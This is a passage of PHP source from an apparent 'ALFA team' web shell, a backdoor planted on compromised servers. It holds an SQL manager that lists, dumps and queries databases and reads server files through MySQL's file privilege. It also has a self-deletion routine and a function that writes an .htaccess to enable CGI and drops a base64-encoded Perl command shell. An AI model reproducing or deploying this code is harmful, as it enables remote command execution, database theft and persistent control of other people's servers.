<td><input type=text name=sql_host value=\'". (empty($_POST[\'sql_host\'])?\'localhost\':htmlspecialchars($_POST[\'sql_host\'])) ."\'></td>
<td><input type=text name=sql_login value=\'". (empty($_POST[\'sql_login\'])?\'\':htmlspecialchars($_POST[\'sql_login\'])) ."\'></td>
<td><input type=text name=sql_pass value=\'". (empty($_POST[\'sql_pass\'])?\'\':htmlspecialchars($_POST[\'sql_pass\'])) ."\'></td><td>";
$tmp = "<input type=text name=sql_base value=\'\'>";
if(isset($_POST[\'sql_host\'])){
if($db->connect($_POST[\'sql_host\'], $_POST[\'sql_login\'], $_POST[\'sql_pass\'], $_POST[\'sql_base\'])) {
switch($_POST[\'charset\']) {
case "Windows-1251": $db->setCharset(\'calfa1251\'); break;
case "UTF-8": $db->setCharset(\'utf8\'); break;
case "KOI8-R": $db->setCharset(\'koi8r\'); break;
case "KOI8-U": $db->setCharset(\'koi8u\'); break;
case "calfa866": $db->setCharset(\'calfa866\'); break;
}
$db->listDbs();
echo "<select name=sql_base><option value=\'\'></option>";
while($item = $db->fetch()) {
list($key, $value) = each($item);
echo \'<option value="\'.$value.\'" \'.($value==$_POST[\'sql_base\']?\'selected\':\'\').\'>\'.$value.\'</option>\';
}
echo \'</select>\';
}
else echo $tmp;
}else
echo $tmp;
echo "</td>
<td><input type=submit value=\'>>\' onclick=\'fs(d.sf);\'></td>
<td><input type=checkbox name=sql_count value=\'on\'" . (empty($_POST[\'sql_count\'])?\'\':\' checked\') . "> <font color=\"#ffffff\"><b>count the number of rows</b></font></td>
</tr>
</table>
<script>
s_db=\'".@addslashes($_POST[\'sql_base\'])."\';
function fs(f) {
if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
if(f.alfa1) f.alfa1.value=\'\';
if(f.alfa2) f.alfa2.value=\'\';
if(f.alfa3) f.alfa3.value=\'\';
}
}
function st(t,l) {
d.sf.alfa1.value = \'select\';
d.sf.alfa2.value = t;
if(l && d.sf.alfa3) d.sf.alfa3.value = l;
d.sf.submit();
}
function is() {
for(i=0;i<d.sf.elements[\'tbl[]\'].length;++i)
d.sf.elements[\'tbl[]\'][i].checked = !d.sf.elements[\'tbl[]\'][i].checked;
}
</script>";
if(isset($db) && $db->link){
echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
if(!empty($_POST[\'sql_base\'])){
$db->selectdb($_POST[\'sql_base\']);
echo "<tr><td width=1 style=\'border-top:2px solid #666;\'><span>Tables:</span><br><br>";
$tbls_res = $db->listTables();
while($item = $db->fetch($tbls_res)) {
list($key, $value) = each($item);
if(!empty($_POST[\'sql_count\']))
$n = $db->fetch($db->query(\'SELECT COUNT(*) as n FROM \'.$value.\'\'));
$value = htmlspecialchars($value);
echo "<nobr><input type=\'checkbox\' name=\'tbl[]\' value=\'".$value."\'>&nbsp;<a href=# onclick=\"st(\'".$value."\',1)\">".$value."</a>" . (empty($_POST[\'sql_count\'])?\'&nbsp;\':" <small>({$n[\'n\']})</small>") . "</nobr><br>";
}
echo "<input type=\'checkbox\' onclick=\'is();\'> <input type=button value=\'Dump\' onclick=\'document.sf.alfa2.value=\"download\";document.sf.submit();\'><br>File path:<input type=text name=file value=\'dump.sql\'></td><td style=\'border-top:2px solid #666;\'>";
if(@$_POST[\'alfa1\'] == \'select\') {
$_POST[\'alfa1\'] = \'query\';
$_POST[\'alfa3\'] = $_POST[\'alfa3\']?$_POST[\'alfa3\']:1;
$db->query(\'SELECT COUNT(*) as n FROM \' . $_POST[\'alfa2\']);
$num = $db->fetch();
$pages = ceil($num[\'n\'] / 30);
echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST[\'alfa2\'] . "\", d.sf.alfa3.value)}</script><span>".$_POST[\'alfa2\']."</span> ({$num[\'n\']} records) Page # <input type=text name=\'alfa3\' value=" . ((int)$_POST[\'alfa3\']) . ">";
echo " of $pages";
if($_POST[\'alfa3\'] > 1)
echo " <a href=# onclick=\'st(\"" . $_POST[\'alfa2\'] . \'", \' . ($_POST[\'alfa3\']-1) . ")\'>&lt; Prev</a>";
if($_POST[\'alfa3\'] < $pages)
echo " <a href=# onclick=\'st(\"" . $_POST[\'alfa2\'] . \'", \' . ($_POST[\'alfa3\']+1) . ")\'>Next &gt;</a>";
$_POST[\'alfa3\']--;
if($_POST[\'type\']==\'pgsql\')
$_POST[\'alfa2\'] = \'SELECT * FROM \'.$_POST[\'alfa2\'].\' LIMIT 30 OFFSET \'.($_POST[\'alfa3\']*30);
else
$_POST[\'alfa2\'] = \'SELECT * FROM `\'.$_POST[\'alfa2\'].\'` LIMIT \'.($_POST[\'alfa3\']*30).\',30\';
echo "<br><br>";
}
if((@$_POST[\'alfa1\'] == \'query\') && !empty($_POST[\'alfa2\'])) {
$db->query(@$_POST[\'alfa2\']);
if($db->res !== false) {
$title = false;
echo \'<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">\';
$line = 1;
while($item = $db->fetch()) {
if(!$title) {
echo \'<tr>\';
foreach($item as $key => $value)
echo \'<th>\'.$key.\'</th>\';
reset($item);
$title=true;
echo \'</tr><tr>\';
$line = 2;
}
echo \'<tr class="l\'.$line.\'">\';
$line = $line==1?2:1;
foreach($item as $key => $value) {
if($value == null)
echo \'<td><i>null</i></td>\';
else
echo \'<td>\'.nl2br(htmlspecialchars($value)).\'</td>\';
}
echo \'</tr>\';
}
echo \'</table>\';
} else {
echo \'<div><b>Error:</b> \'.htmlspecialchars($db->error()).\'</div>\';
}
}
echo "<br></form><form onsubmit=\'d.sf.alfa1.value=\"query\";d.sf.alfa2.value=this.query.value;document.sf.submit();return false;\'><textarea name=\'query\' style=\'width:100%;height:100px\'>";
if(!empty($_POST[\'alfa2\']) && ($_POST[\'alfa1\'] != \'loadfile\'))
echo htmlspecialchars($_POST[\'alfa2\']);
echo "</textarea><br/><input type=submit value=\'Execute\'>";
echo "</td></tr>";
}
echo "</table></form><br/>";
if($_POST[\'type\']==\'mysql\') {
$db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, \'@\', `host`) = USER() AND `File_priv` = \'y\'");
if($db->fetch())
echo "<form onsubmit=\'d.sf.alfa1.value=\"loadfile\";document.sf.alfa2.value=this.f.value;document.sf.submit();return false;\'><span>Load file</span> <input class=\'toolsInp\' type=text name=f><input type=submit value=\'>>\'></form>";
}
if(@$_POST[\'alfa1\'] == \'loadfile\') {
$file = $db->loadFile($_POST[\'alfa2\']);
echo \'<pre class=ml1>\'.htmlspecialchars($file[\'file\']).\'</pre>\';
}
} else {
echo htmlspecialchars($db->error());
}
echo \'</div>\';
alfafooter();
}
function alfaselfrm()
{
if($_POST[\'alfa1\'] == \'yes\')
if(@unlink(preg_replace(\'!\(\d+\)\s.*!\', \'\', __FILE__)))
die(\'<b>Shell has been removed</i> :)</b>\');
else
echo \'unlink error!\';
if($_POST[\'alfa1\'] != \'yes\')
alfahead();
echo "<div class=header><pre class=ml1 style=\'margin-top:5px\'>";
echo "
<center><img height=\"300\" width=\"450\" src=\"http://iran.grn.cc/alfa-iran.jpg\">
</font>";
echo \'<br><font color=white><b>Are you kidding me ?? Do you really want to delete this shell??</b></font><br><a href=# onclick="g(null,null,\'yes\')">Yes</a>\';
echo \'</div>\';
alfaFooter();
}
function alfacgishell(){
alfahead();
echo \'<div class=header>\';
mkdir(\'cgialfa\',0755);
chdir(\'cgialfa\');
$solevisible7 = \'.htaccess\';
$solevisible6 = "$solevisible7";
$solevisible4 = fopen ($solevisible6 ,\'w\') or die (\'ERROR!!!\');
$solevisible5 = \'Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-cgi .alfa
AddHandler cgi-script .alfa
AddHandler cgi-script .alfa\';
fwrite ( $solevisible4 ,$solevisible5 ) ;
fclose ($solevisible4);
$solevisible3 = \'IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWFpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyAgICogICAgKiAgICAgICAqKioqKioqICAgICogICAgICAgKioqKioqKiAqKioqKioqICAgICAgICAqICAgICAqIA0KIyAgKiAqICAgKiAgICAgICAqICAgICAgICAgKiAqICAgICAgICAgKiAgICAqICAgICAgICAgKiogICAqKiAgICoqIA0KIyAqICAgKiAgKiAgICAgICAqICAgICAgICAqICAgKiAgICAgICAgKiAgICAqICAgICAgICAqICAqICAqICogKiAqIA0KIyogICAgICogKiAgICAgICAqKioqKiAgICogICAgICogICAgICAgKiAgICAqKioqKiAgICogICAgKiAqICAqICAqIA0KIyoqKioqKiogKiAgICAgICAqICAgICAgICoqKioqKiogICAgICAgKiAgICAqICAgICAgICoqKioqKiAqICAgICAqIA0KIyogICAgICogKiAgICAgICAqICAgICAgICogICAgICogICAgICAgKiAgICAqICAgICAgICogICAgKiAqICAgICAqIA0KIyogICAgICogKioqKioqKiAqICAgICAgICogICAgICogICAgICAgKiAgICAqKioqKioqICogICAgKiAqICAgICAqIA0KIw0KIyBzb2xldmlzaWJsZUBnbWFpbC5jb20JDQojIHNvbGUgc2FkICYgaW52aXNpYmxlDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQoScyc7JE9VVD1zb2xldmlzaWQsZSgkT1VUKTtldmFVTsKCRPT08wMDAwTzAoJE9VVCkkUGFzc3dvcmQgPSAiIjsJCQ0KDQokV2luTlQgPSAwOwkJCQ0KDQokTlRDbWRTZXAgPSAiJiI7CQkNCiRVbml4Q21kU2VwID0gIjsiOwkJDQoNCiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMTA7CS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LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Scyc7JE9VVD1zb2xldmlzaWQsZSgkT1VUKTtldmFVTsKCRPT08wMDAwTzAoJE9VVCktLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luRm9ybQ0Kew0KCXByaW50IDw8RU5EOw0KDQo8Y29kZT4NCg0KPGZvcm0gbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249IiRTY3JpcHRMb2NhdGlvbiI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0ibG9naW4iPg0KPC9mb250Pg0KPGZvbnQgc2l6ZT0iMyI+DQpVc2VyIDogPGZvbnQgY29sb3I9IiMyMkUyMjgiPjxiPnJvb3Q8L2ZvbnQ+PGJyPg0KUGFzc3dvcmQ6PC9mb250Pjxmb250IGNvbG9yPSIjMDA5OTAwIiBzaXplPSIzIj48aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InAiPg0KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkxvZ2luIj4NCjwvZm9ybT4NCjwvY29kZT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRQYWdlRm9vdGVyDQp7DQoJcHJpbnQgIjwvZm9udD48L2JvZHk+PC9odG1sPiI7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Scyc7JE9VVD1zb2xldmlzaWQsZSgkT1VUKTtldmFVTsKCRPT08wMDAwTzAoJE9VVCktLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBHZXRDb29raWVzDQp7DQoJQGh0dHBjb29raWVzID0gc3BsaXQoLzsgLywkRU5WeydIVFRQX0NPT0tJRSd9KTsNCglmb3JlYWNoICRjb29raWUoQGh0dHBjb29raWVzKQ0KCXsNCgkJKCRpZCwgJHZhbCkgPSBzcGxpdCgvPS8sICRjb29raWUpOw0KCQkkQ29va2llc3skaWR9ID0gJHZhbDsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ291dFNjcmVlbg0Kew0KCXByaW50ICI8Y29kZT5Db25uZWN0aW9uIGNsb3NlZCBieSBmb3JlaWduIGhvc3QuPGJyPjxicj48L2NvZGU+IjsNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFBlcmZvcm1Mb2dvdXQNCnsNCglwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9O1xuIjsgIyByZW1vdmUgcGFzc3dvcmQgY29va2llDQoJJlByaW50UGFnZUhlYWRlcigicCIpOw0KCSZQcmludExScyc7JE9VVD1zb2xldmlzaWQsZSgkT1VUKTtldmFVTsKCRPT08wMDAwTzAoJE9VVCkvZ291dFNjcmVlbjsNCg0KCSZQcmludExvZ2luU2NyZWVuOw0KCSZQcmludExvZ2luRm9ybTsNCgkmUHJpbnRQYWdlRm9vdGVyOw0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUGVyZm9ybUxvZ2luIA0Kew0KCWlmKCRMb2dpblBhc3N3b3JkIGVxICRQYXNzd29yZCkgIyBwYXNzd29yZCBtYXRjaGVkDQoJew0KCQlwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9JExvZ2luUGFzc3dvcmQ7XG4iOw0KCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCX0NCgllbHNlICMgcGFzc3dvcmQgZGlkbid0IG1hdGNoDQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJwIik7DQoJCSZQcmludExvZ2luU2NyZWVuOw0KCQlpZigkTG9naW5QYXNzd29yZCBuZSAiIikgIyBzb21lIHBhc3N3b3JkIHdhcyBlbnRlcmVkDQoJCXsNCgkJCSZQcmludExvZ2luRmFpbGVkTWVzc2FnZTsNCg0KCQl9DQoJCSZQcmludExvZ2luRm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Scyc7JE9VVD1zb2xldmlzaWQsZSgkT1VUKTtldmFVTsKCRPT08wMDAwTzAoJE9VVCktLS0tLS0tLS0tLS0tLS0NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtDQp7DQoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7DQoJcHJpbnQgPDxFTkQ7DQo8Y29kZT4NCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCiRQcm9tcHQNCjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+DQo8L2Zvcm0+DQo8L2NvZGU+DQoNCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRGaWxlRG93bmxvYWRGb3JtDQp7D